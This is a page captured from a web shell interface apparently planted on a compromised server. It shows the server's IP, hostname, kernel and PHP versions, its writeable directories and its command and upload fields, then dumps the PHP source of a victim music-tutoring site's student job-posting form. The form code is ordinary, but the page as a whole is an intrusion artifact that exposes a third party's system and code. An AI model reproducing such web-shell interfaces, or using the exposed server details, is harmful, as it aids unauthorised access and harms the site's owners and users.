403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/m.musiccircle/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/m.musiccircle/student_postjob_form.php
<?php
	include('_init.php');

	if ($_SESSION["is_student"] != 1) {
		header("Location: index.php");
		exit;
	}

	$student = get_student($_SESSION["student_login"]);
	if(empty($student) || $student["status"] != 4 || $student["approved"] != 1){
		echo "<script>alert('請先完成填寫\"我的檔案\"。'); location.href='student_profile.php';</script>";
		exit;
	}

	$page_settings['domain'] = "student_postjob";

	$sql         = "select profile_id,(select id from `student_main` where cmsloginid = tb.user_id LIMIT 1) as id 
			from `profile_user` as tb where user_id = ? and deleted = ? LIMIT 1";
	$parameters  = array($_SESSION['cmsloginid'], 0);
	$row_profile = bind_pdo($sql, $parameters, "selectone");

	$job = get_studentpostjob((int)$_GET["id"]);

	if ($row_profile['profile_id'] == 4) {
		if ($job['id']) {
			if ($row_profile['id'] != $job['studentmain_id']) {
				$path = $page_settings['domain'] . '_index.php';
				@header("Location: {$path}");
				echo "<script language='JavaScript'>window.location='{$path}'</script>";
			}
		} else {
			$sql           = "select count(*) as count from student_postjob as tb where studentmain_id = ? and deleted = ? 
						   and (select count(*) from `order` where job_id = tb.id and deleted = 0 and `status` = 'paid') = 0";
			$parameters    = array($row_profile['id'], 0);
			$count_product = bind_pdo($sql, $parameters, "selectone");
			if (!($count_product['count'] < 3)) {
				$path = $page_settings['domain'] . '_index.php';
				//@header("Location: {$path}");
				echo "<script language='JavaScript'>alert('有效的已發貼子最多同時存在3個。'); window.location='{$path}'</script>";
				exit;
			}
		}
	}
	if ($job) {
		$action = 'Modify'; // Add or Modify

		$sql99        = "SELECT * FROM sys_cms_login WHERE cmsloginid=?";
		$parameters99 = array((int)$job{'cmsloginid'});
		$row_user     = bind_pdo($sql99, $parameters99, "selectone");
	} else {
		$action = 'Add'; // Add or Modify
	}
	$sql          = "select * from tutor_main where status = ? and deleted = ?";
	$parameters   = array(4, 0);
	$rows_teacher = bind_pdo($sql, $parameters, "selectall");

	$sql          = "select * from student_main where status = ? and deleted = ?";
	$parameters   = array(4, 0);
	$rows_student = bind_pdo($sql, $parameters, "selectall");

	$sql                 = "select * from master_type_code where typeid = ? and deleted = ?";
	$parameters          = array('MUSTHEORY_GRADE', 0);
	$rows_mustheorygrade = bind_pdo($sql, $parameters, "selectall");

	$sql               = "select * from master_type_code where typeid = ? and deleted = ? order by sort asc";
	$parameters        = array('LEVEL_OF_GRADE', 0);
	$rows_levelofgrade = bind_pdo($sql, $parameters, "selectall");

	$sql            = "select * from master_type_code where typeid = ? and deleted = ? and id = 1";
	$parameters     = array('TEACH_MODE', 0);
	$rows_teachmode = bind_pdo($sql, $parameters, "selectall");

	$sql        = "select * from master_type_code where typeid = ? and deleted = ?";
	$parameters = array('TEACH_AREACODE', 0);
	$rows_area  = bind_pdo($sql, $parameters, "selectall");

	$sql             = "select * from master_type_code where typeid = ? and deleted = ?";
	$parameters      = array('TEACH_VENUS', 0);
	$rows_teachvenus = bind_pdo($sql, $parameters, "selectall");

	$sql                  = "select * from master_type_code where typeid = ? and deleted = ? order by sort asc";
	$parameters           = array('INSTRUMENT_TYPE', 0);
	$rows_instrument_type = bind_pdo($sql, $parameters, "selectall");

	$sql            = "select * from master_type_code where typeid = ? and deleted = ? order by sort asc";
	$parameters     = array('YEAR_RANGE', 0);
	$rows_yearrange = bind_pdo($sql, $parameters, "selectall");

	$sql                    = "select * from master_type_code where typeid = ? and deleted = ?";
	$parameters             = array('CONTACTSTUDENT_REL', 0);
	$rows_contactstudentrel = bind_pdo($sql, $parameters, "selectall");

	$sql            = "select * from master_type_code where typeid = ? and deleted = ? order by sort asc";
	$parameters     = array('EXPSTUDENTAGE', 0);
	$rows_studentyearrange = bind_pdo($sql, $parameters, "selectall");
?>
<!DOCTYPE html>
<html lang="en">
<head>
	<?php include('_head.php'); ?>
	<link href="css/style_k.css?v=<?= time(); ?>" type="text/css" rel="stylesheet">

	<style>
		label {
			font-weight: 100;
			margin-right: 10px;
		}

		label input[type="checkbox"] {
			margin-right: 3px;
		}

		label.col-sm-2 {
			margin-right: 0px;
			font-weight: bold;
		}

		.LiTutorCertClass, .LiInstrumentqualiClass {
			margin-bottom: 5px;
		}

		.LiInstrumentqualiClass .form-control {
			margin-right: 3px;
		}

		input[type=file] {
			margin-right: 3px;
			width: 80%;
		}

		.form-del {
			height: 30px;
			width: 30px;
		}

		input[type=file], .form-del {
			display: inline-block;
		}

		.nav-tabs > li > a {
			color: #999;
			border: 1px solid #ededed;
		}

		.box-body .col-md-12, .box-body .col-sm-2, .box-body .col-sm-10{
			padding: 0;
		}
	</style>
	<script>
		$(function () {

			$('#sel1_area').change(
				function () {
					//console.log('#sel1_position'+$(this).val());
					$('.dropdown-menu').hide();
					$('#sel1_position' + $(this).val()).show();
				}
			);
		})
	</script>
</head>

<body>
<?php include('_header.php') ?>

<?php include('_dialog.php') ?>

<div class="ProfileContent">
	<div class="Profilecontainer">
		<div class="row">
			<div class="col-md-12">

				<p id="post_jobs_desc">
					同學可發帖讓合適的音樂導師主動聯絡你,更快找到最佳導師。
					<br>
					請填寫以下資料!
				</p>

				<div class="post_job_tab">
					<a href="student_postjob_form.php">
						<div class="post_job_tab_1 tc active">
							<?= _lang("Post") ?>
						</div>
					</a>

					<a href="student_postjob_index.php">
						<div class="post_job_tab_2 tc">
							<?= _lang("Posted")." / "._lang("Lesson Record") ?>
							<div style="position: relative; display: none;" class="unread_order_container">
								<span class="badge" style="background: #CC1342; position: absolute; top: -15px; left: -8px;"></span>
							</div>

						</div>
					</a>
				</div>

				<!--<div class="scroll_left_right_container">
					<div class="scroll_left_right"><img src="../img/scroll_left_right.png"></div>
				</div>-->

				<div class="tab_container">
					<form action="<?= $page_settings['domain'] ?>_process.php?action=manage" class="myform" id="myform" method="POST" enctype="multipart/form-data">
						<? if ($job['id']) { ?>
							<input type="hidden" name="id" value="<?= _h($job['id']) ?>"/>
						<? } ?>
						<div class="row">
							<div class="col-xs-12">
								<div class="box">
									<div class="box-header">
										
									</div>

									<!-- /.box-header -->
									<div class="box-body">


										<br>
										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label">聯絡人資料</label>
										</div>
										<? if ($job["postjob_no"]) { ?>
											<div class="col-md-12 form-group">
												<label for="" class="col-sm-2 control-label">
													<?= _lang("Pairing Number") ?>
												</label>
												<div class="col-sm-10">
													<?= "J".str_pad($job["id"], 5, "0", STR_PAD_LEFT); ?>
													<p class="help-block"></p>
												</div>
											</div>
										<? } ?>
										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label required_field">聯絡人</label>
											<div class="col-sm-10">
												<? if ($row_profile['profile_id'] == 1 || $row_profile['profile_id'] == 2) { ?>
													<select name="studentmain_id" class="form-control">
														<option value="">-請選擇-</option>
														<? foreach ($rows_student as $row_student) { ?>
															<option value="<?= $row_student['id'] ?>" <? if ($row_student['id'] == $job['studentmain_id']){ ?>selected<? } ?>>
																<?= $row_student['student_no'] ?>
																<?= $row_student['contactname'] ?>
															</option>
														<? } ?>
													</select>
													<div id="studentmainidError" style="color:#F00; display:none;" class="error">
														<?= _lang('Please select student') ?>
													</div>
												<? } else { ?>
													<input type="hidden" name="studentmain_id" value="<?= $row_profile['id'] ?>"/>
													<div style="margin-bottom:6px;">
														<?
															$row_student = get_student($row_profile['id']);
															echo $row_student['contactname'];
														?>
													</div>
												<? } ?>
												<p class="help-block"></p>
											</div>
										</div>

										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label required_field"> 學生性別 </label>
											<div class="col-sm-10">
												<input type="radio" name="student_post_gender" value="m" <?= $job["student_post_gender"] == "m" ? "checked" : "" ?> required/>
												男
												<input type="radio" name="student_post_gender" value="f" <?= $job["student_post_gender"] == "f" ? "checked" : "" ?> style="margin-left: 15px;" required/>
												女
											</div>

											<div id="student_post_genderError" style="color:#F00; display:none;" class="error">
												<?= _lang('請選擇學生性別。') ?>
											</div>

											<font color="#0012ff" style="font-size:12px; font-weight:100;">如學生性別與學生個人資料中不同,可在此選擇。
												例子: 註冊"學生"戶口是母親,而學習樂器的是兒子</font>
										</div>

										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label required_field">
												<?= _lang('與聯絡人關系') ?>
											</label>
											<div class="col-sm-10">
												<select class="form-control" id="sel1" name="student_mas_contactstudentrel" required>
													<option value="">-
														<?= _lang('Please Select') ?>
														-
													</option>
													<? foreach ($rows_contactstudentrel as $row_contactstudentrel) { ?>
														<option value="<?= $row_contactstudentrel['id'] ?>" <? if ($row_contactstudentrel['id'] == $job['student_mas_contactstudentrel']){ ?>selected<? } ?>>
															<?= $row_contactstudentrel['name_' . get_langcode()] ?>
														</option>
													<? } ?>
												</select>
												<div style="color:#F00; display:none;" class="error" id="contactstudentrelError"><?= html_entity_decode(_lang('Please Input Your&nbsp;')) . _lang('與聯絡人關系') ?></div>
											</div>
										</div>

										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label required_field">
												<?= _lang('Student Range') ?>
											</label>
											<div class="col-sm-10">
												<select class="form-control" id="sel1" name="student_mas_yearrange" required>
													<option value="">-
														<?= _lang('Please Select') ?>
														-
													</option>
													<? foreach ($rows_studentyearrange as $row_yearrange) { ?>
														<option value="<?= $row_yearrange['id'] ?>" <? if ($row_yearrange['id'] == $job['student_mas_yearrange']){ ?>selected<? } ?>>
															<?= $row_yearrange['name_' . get_langcode()] ?>
														</option>
													<? } ?>
												</select>
												<div style="color:#F00; display:none;" class="error" id="yearrangeError"><?= html_entity_decode(_lang('Please Input Your&nbsp;')) . _lang('Student Range') ?></div>
											</div>
										</div>

										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label required_field"> 樂器 </label>
											<div class="col-sm-10">
												<select name="mas_instrument" class="form-control">
													<option value="">-請選擇-</option>
													<? foreach ($rows_instrument_type as $row_instrument_type) { ?>
														<?
														$sql             = "select * from master_type_code where typeid = ? and extra1 = ? and deleted = ? order by sort asc";
														$parameters      = array('INSTRUMENT', $row_instrument_type['code'], 0);
														$rows_instrument = bind_pdo($sql, $parameters, "selectall");
														?>
														<optgroup label="<?= $row_instrument_type['name_' . get_langcode()] ?>">
															<? foreach ($rows_instrument as $row_instrument) { ?>
																<option value="<?= $row_instrument['id'] ?>" <? if ($job['mas_instrument'] == $row_instrument['id']){ ?>selected<? } ?>>
																	<?= $row_instrument['name_' . get_langcode()] ?>
																</option>
															<? } ?>
														</optgroup>
													<? } ?>
												</select>
												<div id="instrumentError" style="color:#F00; display:none;" class="error">
													<?= _lang('Please select instrument') ?>
												</div>
												<p class="help-block"></p>
											</div>
										</div>
										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label required_field"> 級別 </label>
											<div class="col-sm-10">
												<select name="level" class="form-control">
													<option value="">-請選擇-</option>
													<? foreach ($rows_levelofgrade as $row_levelofgrade) { ?>
														<option value="<?= $row_levelofgrade['code'] ?>" <? if ($row_levelofgrade['code'] == $job['level']){ ?>selected<? } ?>>
															<?= $row_levelofgrade['name_' . get_langcode()] ?>
														</option>
													<? } ?>
												</select>
												<div id="levelError" style="color:#F00; display:none;" class="error">
													<?= _lang('Please select level') ?>
												</div>
												<p class="help-block"></p>
											</div>
										</div>
										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label required_field"> 學費預算 </label>
											<div class="col-sm-10">
												<div class="min_class">
													<div>30分鐘</div>
													<div>
														<table>
															<tr>
																<td width="50%">
																	<input class="30mins_min_class" type="checkbox" value="1" <? if ($job['30mins_min_budget']){ ?>checked<? } ?>>
																	<input type="text" class="form-control min_class" placeholder="最低" name="30mins_min_budget" size="50" maxlength="255" value="<?= $job['30mins_min_budget'] ?>" <? if (!$job['30mins_min_budget']) { ?> disabled<? } ?>>
																</td>
																<td style="padding-right:5px; padding-left:5px;">-</td>
																<td width="50%">
																	<input class="30mins_max_class" type="checkbox" value="1" <? if ($job['30mins_max_budget']){ ?>checked<? } ?>>
																	<input type="text" class="form-control min_class" placeholder="最高" name="30mins_max_budget" size="50" maxlength="255" value="<?= $job['30mins_max_budget'] ?>" <? if (!$job['30mins_max_budget']) { ?> disabled<? } ?>>
																</td>
															</tr>
														</table>
													</div>
												</div>
												<div class="min_class">
													<div>45分鐘</div>
													<div>
														<table>
															<tr>
																<td width="50%">
																	<input class="45mins_min_class" type="checkbox" value="1" <? if ($job['45mins_min_budget']){ ?>checked<? } ?>>
																	<input type="text" class="form-control min_class" placeholder="最低" name="45mins_min_budget" size="50" maxlength="255" value="<?= $job['45mins_min_budget'] ?>" <? if (!$job['45mins_min_budget']) { ?> disabled<? } ?>>
																</td>
																<td style="padding-right:5px; padding-left:5px;">-</td>
																<td width="50%">
																	<input class="45mins_max_class" type="checkbox" value="1" <? if ($job['45mins_max_budget']){ ?>checked<? } ?>>
																	<input type="text" class="form-control min_class" placeholder="最高" name="45mins_max_budget" size="50" maxlength="255" value="<?= $job['45mins_max_budget'] ?>" <? if (!$job['45mins_max_budget']) { ?> disabled<? } ?>>
																</td>
															</tr>
														</table>
													</div>
												</div>
												<div class="min_class">
													<div>60分鐘</div>
													<div>
														<table>
															<tr>
																<td width="50%">
																	<input class="60mins_min_class" type="checkbox" value="1" <? if ($job['60mins_min_budget']){ ?>checked<? } ?>>
																	<input type="text" class="form-control min_class" placeholder="最低" name="60mins_min_budget" size="50" maxlength="255" value="<?= $job['60mins_min_budget'] ?>" <? if (!$job['60mins_min_budget']) { ?> disabled<? } ?>>
																</td>
																<td style="padding-right:5px; padding-left:5px;">-</td>
																<td width="50%">
																	<input class="60mins_max_class" type="checkbox" value="1" <? if ($job['60mins_max_budget']){ ?>checked<? } ?>>
																	<input type="text" class="form-control min_class" placeholder="最高" name="60mins_max_budget" size="50" maxlength="255" value="<?= $job['60mins_max_budget'] ?>" <? if (!$job['60mins_max_budget']) { ?> disabled<? } ?>>
																</td>
															</tr>
														</table>
													</div>
												</div>
											</div>
											<div id="minclassError" style="color:#F00; display:none;" class="error">
												<?= _lang('Please input learn fee budget') ?>
											</div>
										</div>
										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label required_field"> 學習地區 </label>
											<div class="col-sm-10">
												<div style="color:#F00; display:none;" class="error" id="areaError">
													<?= _lang("Please select learning area.") ?>
												</div>
												<ul class="nav nav-tabs" id="myTab">
													<? foreach ($rows_area as $index => $row_area) { ?>
														<li <? if ($index == 0){ ?>class="active"<? } ?> >
															<a data-target="#area<?= $index ?>" data-toggle="tab" style="cursor:pointer; border-radius: 0px;">
																<?= $row_area['name_' . get_langcode()] ?>
															</a></li>
													<? } ?>
												</ul>
												<div class="tab-content" style="padding-top:0px;">
													<? foreach ($rows_area as $index => $row_area) { ?>
														<?
														$sql           = "select * from master_type_code where typeid = ? and extra1 = ? and deleted = ?";
														$parameters    = array('TEACH_POSITIONCODE', $row_area['code'], 0);
														$rows_position = bind_pdo($sql, $parameters, "selectall");
														?>
														<div class="tab-pane <? if ($index == 0) { ?>active<? } ?>" id="area<?= $index ?>" style="border:1px solid #ddd; border-top:0px; padding:15px;">
															<? foreach ($rows_position as $row_position) { ?>
																<?
																$sql        = "select * from student_postjoblearndistrict where studentpostjob_id = ? and mas_teachareacode = ? and deleted = ?";
																$parameters = array($job['id'], $row_position['id'], 0);
																$count_area = bind_pdo($sql, $parameters, "selectone");
																?>
																<span style="float:left; width:120px; margin-bottom:5px; display:block;">
																	<input type="checkbox" name="area<?= $row_area['id'] ?>[]" class="areabox" value="<?= $row_position['id'] ?>" <? if ($count_area['id']) { ?> checked<? } ?>>
																	<?= $row_position['name_' . get_langcode()] ?>
																	<input type="hidden" name="arearefid<?= $row_area['id'] ?>[]" value="<?= $count_area['id'] ?>"/>
																</span>
															<? } ?>
															<span style="clear:both; display:block;"></span></div>
													<? } ?>
													<div style="clear:both;"></div>
												</div>
											</div>
										</div>
										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label required_field"> 期望學習地方 </label>
											<div class="col-sm-10"><? foreach ($rows_teachvenus as $row_teachvenus) { ?>
													<?
													$sql              = "select * from student_postjoblearnvenus where studentpostjob_id = ? and mas_teachvenus = ? and deleted = ?";
													$parameters       = array($job['id'], $row_teachvenus['id'], 0);
													$count_teachvenus = bind_pdo($sql, $parameters, "selectone");
													?>
													<label>
														<input name="teachvenus_id[]" type="checkbox" value="<?= $row_teachvenus['id'] ?>" <? if ($count_teachvenus['id']){ ?>checked<? } ?>>
														<?= $row_teachvenus['name_' . get_langcode()] ?>
													</label>
												<? } ?>
												<div style="color:#F00; display:none;" class="error" id="teachvenusError">
													<?= _lang("Please select teaching site.") ?>
												</div>
											</div>
										</div>
										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label required_field"> 期望學習模式 </label>
											<div class="col-sm-10"><? foreach ($rows_teachmode as $row_teachmode) { ?>
													<?
													$sql             = "select * from student_postjoblearnmode where studentpostjob_id = ? and mas_teachmode = ? and deleted = ?";
													$parameters      = array($job['id'], $row_teachmode['id'], 0);
													$count_teachmode = bind_pdo($sql, $parameters, "selectone");
													?>
													<label>
														<input name="teachmode_id[]" type="checkbox" value="<?= $row_teachmode['id'] ?>" <? if ($count_teachmode['id']){ ?>checked<? } ?>>
														<?= $row_teachmode['name_' . get_langcode()] ?>
													</label>
												<? } ?>
												<div style="color:#F00; display:none;" class="error" id="teachmodeError">
													<?= _lang("Please select teaching mode.") ?>
												</div>
											</div>
										</div>
										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label required_field"> 期望上課時間 </label>
											<div class="col-sm-10">

												<? $array = array(1 => array('name' => '早上<br>(0900-1300)', 'code' => 'am'), array('name' => '下午<br>(1400-1800)', 'code' => 'pm'), array('name' => '晚上<br>(1800-2200)', 'code' => 'ni')); ?>
												<table border="0" cellpadding="0" cellspacing="0">
													<tr>
														<td></td>
														<td style="padding-right:8px;" height="30">一</td>
														<td style="padding-right:8px;" height="30">二</td>
														<td style="padding-right:8px;" height="30">三</td>
														<td style="padding-right:8px;" height="30">四</td>
														<td style="padding-right:8px;" height="30">五</td>
														<td style="padding-right:8px;" height="30">六</td>
														<td style="padding-right:8px;" height="30">日</td>
													</tr>
													<? for ($a = 1; $a <= 3; $a++) { ?>
														<tr>
															<td style="padding-right:8px;"><?= $array[$a]['name'] ?></td>
															<? for ($i = 1; $i <= 7; $i++) { ?>
																<?
																$sql        = "select * from student_postjoblearntime where studentpostjob_id = ? and learntime = ? and deleted = ?";
																$parameters = array($job['id'], $array[$a]['code'] . '_' . $i, 0);
																$count_time = bind_pdo($sql, $parameters, "selectone");
																?>
																<td align="center" style="padding-right:8px;" height="30">
																	<input type="checkbox" name="learntime[]" value="<?= $array[$a]['code'] ?>_<?= $i ?>" <? if ($count_time['id']){ ?>checked<? } ?>/>
																</td>
															<? } ?>
														</tr>
													<? } ?>
												</table>
												<div style="color:#F00; display:none;" class="error" id="learntimeError">
													<?= _lang("Please select learn time.") ?>
												</div>
											</div>
										</div>
										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label required_field">
												預計每月上課堂數 </label>
											<div class="col-sm-10">
												<input type="number" min="1" class="form-control" name="explessonpermonth" value="<?= $job['explessonpermonth'] ?>" style="width:20%;">
												<div style="color:#F00; display:none;" class="error" id="explessonpermonthError">
													<?= _lang("Please input explessonper month.") ?>
												</div>
											</div>
										</div>
										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label" style="text-decoration: underline"> 導師要求 </label>
										</div>
										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label required_field"> 性別 </label>
											<div class="col-sm-10"><label>
													<input type="radio" name="tutorreq_gender" value="m" <? if ($job['tutorreq_gender'] == 'm'){ ?>checked<? } ?>/>
													男 </label> <label>
													<input type="radio" name="tutorreq_gender" value="f" <? if ($job['tutorreq_gender'] == 'f'){ ?>checked<? } ?>/>
													女 </label> <label>
													<input type="radio" name="tutorreq_gender" value="-" <? if ($job['tutorreq_gender'] == '-'){ ?>checked<? } ?>/>
													不限 </label>
												<div style="color:#F00; display:none;" class="error" id="tutorgenderError">
													<?= _lang("Please select tutor gender.") ?>
												</div>
											</div>
										</div>
										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label required_field"> 級別 </label>
											<div class="col-sm-10"><? foreach ($rows_mustheorygrade as $row_mustheorygrade) { ?>
													<label>
														<input type="radio" name="tutorreq_level" value="<?= $row_mustheorygrade['id'] ?>" <? if ($row_mustheorygrade['id'] == $job['tutorreq_level']){ ?>checked<? } ?>>
														<?= $row_mustheorygrade['name_' . get_langcode()] ?>
													</label>
												<? } ?>
												<div style="color:#F00; display:none;" class="error" id="tutorlevelError">
													<?= _lang("Please select tutor level.") ?>
												</div>
											</div>
										</div>
										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label required_field"> 年齡 </label>
											<div class="col-sm-10">
												<select class="form-control" id="sel1" name="tutorreq_age">
													<option value="">-
														<?= _lang('Please Select') ?>
														-
													</option>
													<? foreach ($rows_yearrange as $row_yearrange) { ?>
														<option value="<?= $row_yearrange['id'] ?>" <? if ($row_yearrange['id'] == $job['tutorreq_age']){ ?>selected<? } ?>>
															<?= $row_yearrange['name_' . get_langcode()] ?>
														</option>
													<? } ?>
												</select>
												<div style="color:#F00; display:none;" class="error" id="tutorageError">
													<?= _lang("Please select tutor age.") ?>
												</div>
											</div>
										</div>
										<div class="col-md-12 form-group">
											<label for="" class="col-sm-2 control-label"> 其他要求 </label>
											<div class="col-sm-10">
												<input type="text" class="form-control" name="tutorreq_others" value="<?= $job['tutorreq_others'] ?>">
											</div>
										</div>

										<?php if ($_SESSION["cmsrole"] == "super_admin" || $_SESSION["cmsrole"] == "admin") { ?>
											<div class="col-md-12 form-group">
												<label for="" class="col-sm-2 control-label"> 已完成 </label>
												<div class="col-sm-10">
													<input type="checkbox" class="" name="completed_flag" value="1" <?= ($job["completed_flag"] == 1 ? "checked" : "") ?>>
												</div>
											</div>
										<?php } ?>

										<div class="col-md-12 form-group" style="color: #F00;">
											<label for="" class="col-sm-2 control-label"><?= lang("* Required Field") ?></label>
										</div>

										<div class="col-xs-12 tc">
											<div class="btn-group">
												<!--<a href="<?/*= $page_settings['domain'] */?>_index.php?category_id=<?/*= (int)$_GET["category_id"] */?>&msg=4" class="btn btn-default"><i class="fa fa-chevron-left" aria-hidden="true"></i>
													<?/*= _lang('Cancel') */?>
												</a>-->
												<? /*if ($_GET["id"]) { ?>
													<? if ($row_profile['profile_id'] != 4) { ?>
														<?php if ($job['approved'] != 1) { ?>
															<a href="<?= $page_settings['domain'] ?>_approved.php?id=<?= $job['id'] . $show ?>" class="btn btn-default btn-warning" style="color:#FFF;">
																<i class="glyphicon glyphicon-remove-sign" aria-hidden="true"></i>
																<?= _lang('Wait to confirm the edit') ?>
															</a>
														<?php } else { ?>
															<a href="<?= $page_settings['domain'] ?>_approved.php?id=<?= $job['id'] . $show ?>" class="btn btn-default btn-success" style="color:#FFF;">
																<i class="glyphicon glyphicon-ok-sign" aria-hidden="true"></i>
																<?= _lang('Confirmed') ?>
															</a>
														<?php } ?>
													<? } else { ?>
														<? if ($job['approved'] == 1) { ?>
															<button type="button" class="btn btn-success ">
																<i class="glyphicon glyphicon-ok-sign" aria-hidden="true"></i>
																<?= _lang('Confirmed') ?>
															</button>
														<? } else { ?>
															<button type="button" class="btn btn-warning ">
																<i class="glyphicon glyphicon-remove-sign" aria-hidden="true"></i>
																<?= _lang('Wait to confirm the edit') ?>
															</button>
														<? } ?>
													<? } ?>
												<? } */?>
												<?
													$is_save = true;
													if ($job['id']) {
														$sql        = "select id from `order` where job_id = ? and deleted = ?";
														$parameters = array($job['id'], 0);
														$row_order  = bind_pdo($sql, $parameters, "selectone");
														if ($row_order['id']) {
															$is_save = false;
														}
													}
												?>
												<? if ($is_save) { ?>
													<button type="button" class="btn btn-primary" id="LiSaveBtn">
														<i class="fa fa-floppy-o" aria-hidden="true"></i>
														<?= _lang('Save') ?>
													</button>

													<?php if(!empty($job['id'])){ ?>
														<?php /*if (!$job['status']) { ?>
													<a href="<?= $page_settings['domain'] ?>_process.php?action=status&id=<?= $job['id'] ?>" class="btn btn-sm btn-warning">
														<i class="fa fa-times" aria-hidden="true"></i> </a>
												<?php } else { ?>
													<a href="<?= $page_settings['domain'] ?>_process.php?action=status&id=<?= $job['id'] ?>" class="btn btn-sm btn-success">
														<i class="fa fa-check" aria-hidden="true"></i> </a>
												<?php } */?>

														<button type="button" class="btn btn-danger" style="margin-left: 20px;" onclick="if (confirm('<?=lang('Confirm Delete?')?>')) {location.href='<?= $page_settings['domain'] ?>_process.php?action=delete&id=<?= $job['id'] ?>';}">
															<i class="fa fa-trash" aria-hidden="true"></i>
															<?= _lang('Delete') ?>
														</button>

													<?php } ?>
												<? } ?>

											</div>
										</div>

										<br><br><br><br><br>
										<!-- End Content -->
									</div>
									<!-- /.box-body -->
								</div>
								<!-- /.box -->
							</div>
							<!-- /.col -->
						</div>
						<!-- /.row -->
					</form>
				</div>

			</div>
		</div>
	</div>
</div>
<? include('_footer.php') ?>
<script type="text/javascript">
	$(function () {

		$('.30mins_min_class,.30mins_max_class,.45mins_min_class,.45mins_max_class,.60mins_min_class,.60mins_max_class').click(
			function () {
				var thisform = $(this).parent();
				if ($(this).get(0).checked == true) {
					$("input[type='text']", thisform).get(0).disabled = false;
				} else {
					$("input[type='text']", thisform).get(0).disabled = true;
				}
			}
		);

		/**/
		$("#LiSaveBtn").click(
			function () {
				var error = false;
				var thisform = $("#myform");

				var focus_array = new Array();
				$('.error').hide();

				<?php if($_SESSION["cmsrole"] == "supler_admin" || $_SESSION["cmsrole"] == "admin"){ ?>
				if (!$('select[name="studentmain_id"]', thisform).val()) {
					$("#studentmainidError").show();
					focus_array[focus_array.length] = $('select[name="studentmain_id"]', thisform);
					error = true;
				}
				<?php } ?>

				if (!$('input[name="student_post_gender"]:checked', thisform).val()) {
					$("#student_post_genderError").show();
					focus_array[focus_array.length] = $('input[name="student_post_gender"]', thisform);
					error = true;
				}

				if (!$('select[name="student_mas_contactstudentrel"]', thisform).val()) {
					$("#contactstudentrelError").show();
					focus_array[focus_array.length] = $('select[name="student_mas_contactstudentrel"]', thisform);
					error = true;
				}

				if (!$('select[name="student_mas_yearrange"]', thisform).val()) {
					$("#yearrangeError").show();
					focus_array[focus_array.length] = $('select[name="student_mas_yearrange"]', thisform);
					error = true;
				}

				if (!$('select[name="mas_instrument"]', thisform).val()) {
					$("#instrumentError").show();
					focus_array[focus_array.length] = $('select[name="mas_instrument"]', thisform);
					error = true;
				}

				if (!$('select[name="level"]', thisform).val()) {
					$("#levelError").show();
					focus_array[focus_array.length] = $('select[name="level"]', thisform);
					error = true;
				}
				var check = 0;
				$('.min_class', thisform).each(
					function () {
						if ($(this).val()) {
							check++;
						}
					}
				);
				//console.log(check);

				if (check == 0) {
					$("#minclassError").show();
					focus_array[focus_array.length] = $('.30mins_min_class', thisform);
					error = true;
				}
				if (!$('.areabox:checked').size()) {
					$("#areaError").show();
					focus_array[focus_array.length] = $('.tab-pane.active .areabox').eq(0);
					error = true;
				}
				if ($('input[name="teachvenus_id[]"]:checked', thisform).size() <= 0) {
					$("#teachvenusError").show();
					focus_array[focus_array.length] = $('input[name="teachvenus_id[]"]:eq(0)', thisform);
					error = true;
				}
				if ($('input[name="teachmode_id[]"]:checked', thisform).size() <= 0) {
					$("#teachmodeError").show();
					focus_array[focus_array.length] = $('input[name="teachmode_id[]"]', thisform);
					error = true;
				}
				if ($('input[name="learntime[]"]:checked', thisform).size() <= 0) {
					$("#learntimeError").show();
					focus_array[focus_array.length] = $('input[name="learntime[]"]:eq(0)', thisform);
					error = true;
				}
				if (!$('input[name="explessonpermonth"]', thisform).val()) {
					$("#explessonpermonthError").show();
					focus_array[focus_array.length] = $('input[name="explessonpermonth"]', thisform);
					error = true;
				}
				if (!$('input[name="tutorreq_gender"]:checked', thisform).val()) {
					$("#tutorgenderError").show();
					focus_array[focus_array.length] = $('input[name="tutorreq_gender"]:eq(0)', thisform);
					error = true;
				}
				if (!$('input[name="tutorreq_level"]:checked', thisform).val()) {
					$("#tutorlevelError").show();
					focus_array[focus_array.length] = $('input[name="tutorreq_level"]:eq(0)', thisform);
					error = true;
				}
				if (!$('select[name="tutorreq_age"]', thisform).val()) {
					$("#tutorageError").show();
					focus_array[focus_array.length] = $('select[name="tutorreq_age"]', thisform);
					error = true;
				}

				//console.log(error);
				//console.log(focus_array[0]);
				if (error == false) {
					thisform.submit();
					//return true;
				} else {
					//focus_array[0].focus();
					//console.log(focus_array[0]);
					//console.log(focus_array[0].offset());
					if (focus_array[0]) {
						/*$('html, body').animate({
							scrollTop: focus_array[0].offset().top - 200
						}, 500);*/

						$('html, body').animate({
							scrollTop: $(".error:visible").first().offset().top - 150
						}, 500);
					}

					return false;
				}
			}
		);
	});
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit